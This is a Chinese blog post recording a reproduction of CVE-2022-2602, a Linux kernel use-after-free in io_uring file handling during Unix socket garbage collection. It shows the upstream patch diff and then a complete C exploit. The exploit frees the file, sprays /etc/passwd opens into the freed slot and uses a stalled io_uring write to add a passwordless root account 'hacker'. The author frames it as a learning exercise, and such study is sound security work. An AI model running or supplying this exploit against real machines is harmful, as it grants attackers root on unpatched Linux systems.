CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF
前言
复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp
,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19
内核版本上复现成功,v6.0.2
复现失败
漏洞利用
diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;* @csum_level: indicates the number of consecutive checksums found in* the packet minus one that have been verified as* CHECKSUM_UNNECESSARY (max 3)
+ * @scm_io_uring: SKB holds io_uring registered files* @dst_pending_confirm: need to confirm neighbour* @decrypted: Decrypted SKB* @slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {#endif__u8 slow_gro:1;__u8 csum_not_inet:1;
+ __u8 scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16 tc_index; /* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp = fpl;skb->sk = sk;
+ skb->scm_io_uring = 1;skb->destructor = unix_destruct_scm;refcount_add(skb->truesize, &sk->sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){
+ struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)spin_unlock(&unix_gc_lock);+ /* We need io_uring to clean its registered files, ignore all io_uring
+ * originated skbs. It's fine as io_uring doesn't keep references to
+ * other io_uring instances and so killing all other files in the cycle
+ * will put all io_uring references forcing it to go through normal
+ * release.path eventually putting registered files.
+ */
+ skb_queue_walk_safe(&hitlist, skb, next_skb) {
+ if (skb->scm_io_uring) {
+ __skb_unlink(skb, &hitlist);
+ skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+ }
+ }
+/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(&hitlist);spin_lock(&unix_gc_lock);+ /* There could be io_uring registered files, just push them back to
+ * the inflight list
+ */
+ list_for_each_entry_safe(u, next, &gc_candidates, link)
+ list_move_tail(&u->link, &gc_inflight_list);
+/* All candidates should have been detached by now. */BUG_ON(!list_empty(&gc_candidates));
unix_gc
错误释放 io_uring
注册的文件导致的 file UAF
exp
如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void prepare() {system("touch /tmp/dummy");system("chmod 777 /tmp/dummy");
}static int run_wait_lock = 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts("[+] Start in slow_write");int fd = open("/tmp/dummy", O_RDWR);if (fd < 0) err_exit("FAILED to open /tmp/dummy");uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i = 0; i < WRITE_PAGE_NUMS; i++) {void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr == MAP_FAILED) err_exit("mmap");}assert(i > 0);struct iovec iovs[20];for (i = 0; i < 20; i++) {iovs[i].iov_base = (void*)start_addr;iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts("[+] Occupying inode lock");run_wait_lock = 1;if (writev(fd, iovs, 20) < 0) {err_exit("write");}close(fd);puts("[+] End in slow_write");puts("[+] Waiting for 10 senonds");sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] = { 0 };struct cmsghdr* cmsg;int fds[1] = { fd };memset(&msg, 0, sizeof(msg));msg.msg_control = control_buf;msg.msg_controllen = sizeof(control_buf);cmsg = CMSG_FIRSTHDR(&msg);cmsg->cmsg_level = SOL_SOCKET;cmsg->cmsg_type = SCM_RIGHTS;cmsg->cmsg_len = CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));msg.msg_controllen = CMSG_SPACE(sizeof(fds));sendmsg(sfd, &msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i = 0;bind_core(0);prepare();for (i = 0; i < 300; i++) {if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)err_exit("open /etc/passwd");}stat("/etc/passwd", &st);int size = 0;int orig_size = st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";iov[0].iov_len = strlen(iov[0].iov_base);// s[0] ref_count = 1// s[1] ref_count = 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");// s[0] ref_count = 1// s[1] ref_count = 1// io_uring_fd ref_count = 1// rfd[1] ref_count = 1io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);sqe = io_uring_get_sqe(&ring);printf("[+] sqe: %p\n", sqe);io_uring_fd = ring.ring_fd;printf("[+] io_uring_fd: %d\n", io_uring_fd);if (io_uring_fd < 0) err_exit("io_uring_queue_init");rfd[0] = s[1];rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);// s[0] ref_count = 1// s[1] ref_count = 2 inflight = 1// io_uring_fd ref_count = 1// rfd[1] ref_count = 2// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}io_uring_register_files(&ring, rfd, 2);sqe->opcode = IORING_OP_WRITEV;sqe->fd = 1;sqe->addr = (long long)iov;sqe->len = 1;sqe->flags = IOSQE_FIXED_FILE;// s[0] ref_count = 1// s[1] ref_count = 2 inflight = 1// io_uring_fd ref_count = 1// rfd[1] ref_count = 1// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}close(rfd[1]);// s[0] ref_count = 1// s[1] ref_count = 2 inflight = 1// io_uring_fd ref_count = 2 inflight = 1// rfd[1] ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue -> io_uring_fdsendfd(s[0], io_uring_fd);// s[0] ref_count = 0 ==> free// s[1] ref_count = 1 inflight = 1// io_uring_fd ref_count = 2 inflight = 1// rfd[1] ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue -> io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(&thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(&ring);// s[0] ref_count = 0 ==> free// s[1] ref_count = 1 inflight = 1// io_uring_fd ref_count = 1 inflight = 1// rfd[1] ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue -> io_uring_fdio_uring_queue_exit(&ring);puts("[+] Triggering unix_gc");// 触发 unix_gc// s[0] ref_count = 0 ==> free// s[1] ref_count = 1 inflight = 1// io_uring_fd ref_count = 1 inflight = 1// rfd[1] ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue -> io_uring_fd// 此时 rfd[1] 被错误的释放 ==> rfd[1]sleep(2);for (i = 0; i < 150; i++) {close(fds[i+2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts("[+] unix_gc done");puts("[+] Spray /etc/passwd file");// 打开大量 /etc/passwd 去占据 uaf_filefor (i = 0; i < 700; i++) {if (open("/etc/passwd", O_RDONLY) < 0) {printf("[X] Error at %d\n", i);err_exit("FAILED to spray file");}}// 等待 writev 获取 inode 锁,从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据puts("[+] Waiting for overwriting /etc/passwd");while (orig_size == st.st_size) {stat("/etc/passwd", &st);size = st.st_size;sleep(1);}puts("[+] su hacker to get root");return 0;
}
效果如下:
参考文章
[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF
相关文章:

CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF
前言 复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19 内核版本上复现成功,v6.0.2 复现失败 漏洞利用 diff --git a/include/linux/skbuff.h b/include/linux/s…...
LSTM实战笔记(部署到C++上)——更新中
前几天由于自己的个人原因停止了学习 接下里继续更新一些自己项目中所用到的神经网络等 ——————————————————————————————————————————— LSTM代码介绍 建立LSTM模型时需要设置一些参数,包括输入数据的形状、LSTM层的…...

鸿蒙内核源码分析(消息队列篇) | 进程间如何异步传递大数据
基本概念 队列又称消息队列,是一种常用于任务间通信的数据结构。队列接收来自任务或中断的不固定长度消息,并根据不同的接口确定传递的消息是否存放在队列空间中。 任务能够从队列里面读取消息,当队列中的消息为空时,挂起读取任务…...

Sentinel流量防卫兵
1、分布式服务遇到的问题 服务可用性问题 服务可用性场景 服务雪崩效应 因服务提供者的不可用导致服务调用者的不可用,并将不可用逐渐放大的过程,就叫服务雪崩效应导致服务不可用的原因: 在服务提供者不可用的时候,会出现大量重试的情况&…...
微信小程序:14.什么是wxs,wxs的使用
wxs是小程序独有的一套脚本语言,结合wxml,可以构建出页面的结构 wxs的应用场景 wxml中无法调用在页面的js中定义的函数,但是wxml可以调用wxs中定义的函数。因此小程序中wxs的典型应用场景就是过滤器 wxs和js的关系 wxs有自己的数据类型 …...
Django运行不提示网址问题
问题描述:运行django项目不提示网址信息,也就是web没有起来,无法访问。 (my-venv-3.8) PS D:\Project\MyGitCode\public\it_blog\blog> python .\manage.py runserver INFO autoreload 636 Watching for file changes with StatReloader …...

web安全---xss漏洞/beef-xss基本使用
what xss漏洞----跨站脚本攻击(Cross Site Scripting),攻击者在网页中注入恶意脚本代码,使受害者在浏览器中运行该脚本,从而达到攻击目的。 分类 反射型---最常见,最广泛 用户将带有恶意代码的url打开&a…...

第一天学习(GPT)
1.图片和语义是如何映射的? **Dalle2:**首先会对图片和语义进行预训练,将二者向量存储起来,然后将语义的vector向量转成图片的向量,然后基于这个图片往回反向映射(Diffusion)——>根据这段描…...
【C++之AVL树旋转操作的详细图解】
C++学习笔记---022 C++之AVL树旋转操作的详细图解1、AVL树的简单介绍1.1、基本概念1.2、平衡因子1.3、AVL树的特性2、C++中pair的介绍2.1、定义和初始化2.2、访问元素2.3、作为容器的元素2.4、作为函数的返回值3、AVL树节点的定义4、AVL的插入规则探究5、AVL树的旋转操作5.1、R…...
制作Android分区镜像
1 python生成一个sector数据 def get_oem_bootmode(): # Header size SECTOR_SIZE_IN_BYTES 512 header [0 for i in \ range(SECTOR_SIZE_IN_BYTES)] # magic # The ord() built-in function in # Python converts a character # into …...
如何代码激活service——packageKit 系统更新番外
在访问packageKit服务的过程中,服务一直访问失败,PackageKit::Daemon::global()->isRunning() 一直返回false,他是一个用于检查 PackageKit 守护进程是否正在运行的函数调用。在 Qt 和 PackageKit 的集成中,isRunning 方法通常…...
音视频常用工具
VLC 播放器简介 VLC 播放器 VLC支持多种常见音视频格式,支持多种流媒体传输协议,也可当作本地流媒体服务器使用,功能十分强大。官网下载地址: https://www.videolan.org/ VLC media player VLC 是一款自由、开源的跨平台多媒体播放器及框架&…...

周刊是聪明人筛选优质知识的聪明手段!
这是一个信息过载的时代,也是一个信息匮乏的时代。 这种矛盾的现象在 Python 编程语言上的表现非常明显。 它是常年高居编程语言排行榜的最流行语言之一,在国外发展得如火如荼,开发者、项目、文章、播客、会议活动等相关信息如海如潮。 但…...

设计模式Java实现-建造者模式
楔子 小七在2019年的时候,就想写一个关于设计模式的专栏,但是最终却半途而废了。粗略一想,如果做完一件事要100分钟,小七用3分钟热情做的事,最少也能完成10件事情了。所以这一次,一定要把他做完࿰…...
微博视频怎么下载无水印
在当今社交媒体时代,微博已经成为人们获取信息、分享生活的重要平台之一。许多人在浏览微博时常常遇到一个问题:如何下载微博视频而不留下烦人的水印呢?今天,我将分享一些神秘的方法,让你轻松解锁微博视频的无水印下载技巧。 第…...

为什么要梯度累积
文章目录 梯度累积什么是梯度累积如何理解理解梯度累积梯度累积的工作原理 梯度累积的数学原理梯度累积过程如何实现梯度累积 梯度累积的可视化 梯度累积 什么是梯度累积 随着深度学习模型变得越来越复杂,模型的训练通常需要更多的计算资源,特别是在训…...

知识图谱在提升大语言模型性能中的应用:减少幻觉与增强推理的综述
幻觉现象指的是模型在生成文本时可能会产生一些听起来合理但实际上并不准确或相关的输出,这主要是由于模型在训练数据中存在知识盲区所致。 为了解决这一问题,研究人员采取了多种策略,其中包括利用知识图谱作为外部信息源。知识图谱通过将信息…...

P8800 [蓝桥杯 2022 国 B] 卡牌
P8800 [蓝桥杯 2022 国 B] 卡牌 分析 “最多” -- 二分 1.二分区间(凑齐的卡牌套数): l:a[]min;r:(a[]b[])max 2.check(x): (1)for循环内: 判断x - a[i…...
MySQL商城数据表(80-84)
80商品规格值表 DROP TABLE IF EXISTS niumo_spec_items; CREATE TABLE niumo_spec_items (itemId int(11) NOT NULL AUTO_INCREMENT COMMENT 自增ID,shopId int(11) NOT NULL DEFAULT 0 COMMENT 店铺ID,catId int(11) NOT NULL DEFAULT 0 COMMENT 类型ID,goodsId int(11) NOT…...

使用Gitbook生成电子书
背景 《Google工程实践文档》相对原文Google’s Engineering Practices documentation ,部分内容过时了。需要更新中文版,并使用Gitbook把Markdown文件转换成对应的PDF电子书。 上一次生成PDF电子书是5年前,当时生成电子书的环境早已不在…...

Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...

C++初阶-list的底层
目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

Unity3D中Gfx.WaitForPresent优化方案
前言 在Unity中,Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染(即CPU被阻塞),这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案: 对惹,这里有一个游戏开发交流小组&…...

shell脚本--常见案例
1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件: 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...

【网络安全产品大调研系列】2. 体验漏洞扫描
前言 2023 年漏洞扫描服务市场规模预计为 3.06(十亿美元)。漏洞扫描服务市场行业预计将从 2024 年的 3.48(十亿美元)增长到 2032 年的 9.54(十亿美元)。预测期内漏洞扫描服务市场 CAGR(增长率&…...

2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

Cloudflare 从 Nginx 到 Pingora:性能、效率与安全的全面升级
在互联网的快速发展中,高性能、高效率和高安全性的网络服务成为了各大互联网基础设施提供商的核心追求。Cloudflare 作为全球领先的互联网安全和基础设施公司,近期做出了一个重大技术决策:弃用长期使用的 Nginx,转而采用其内部开发…...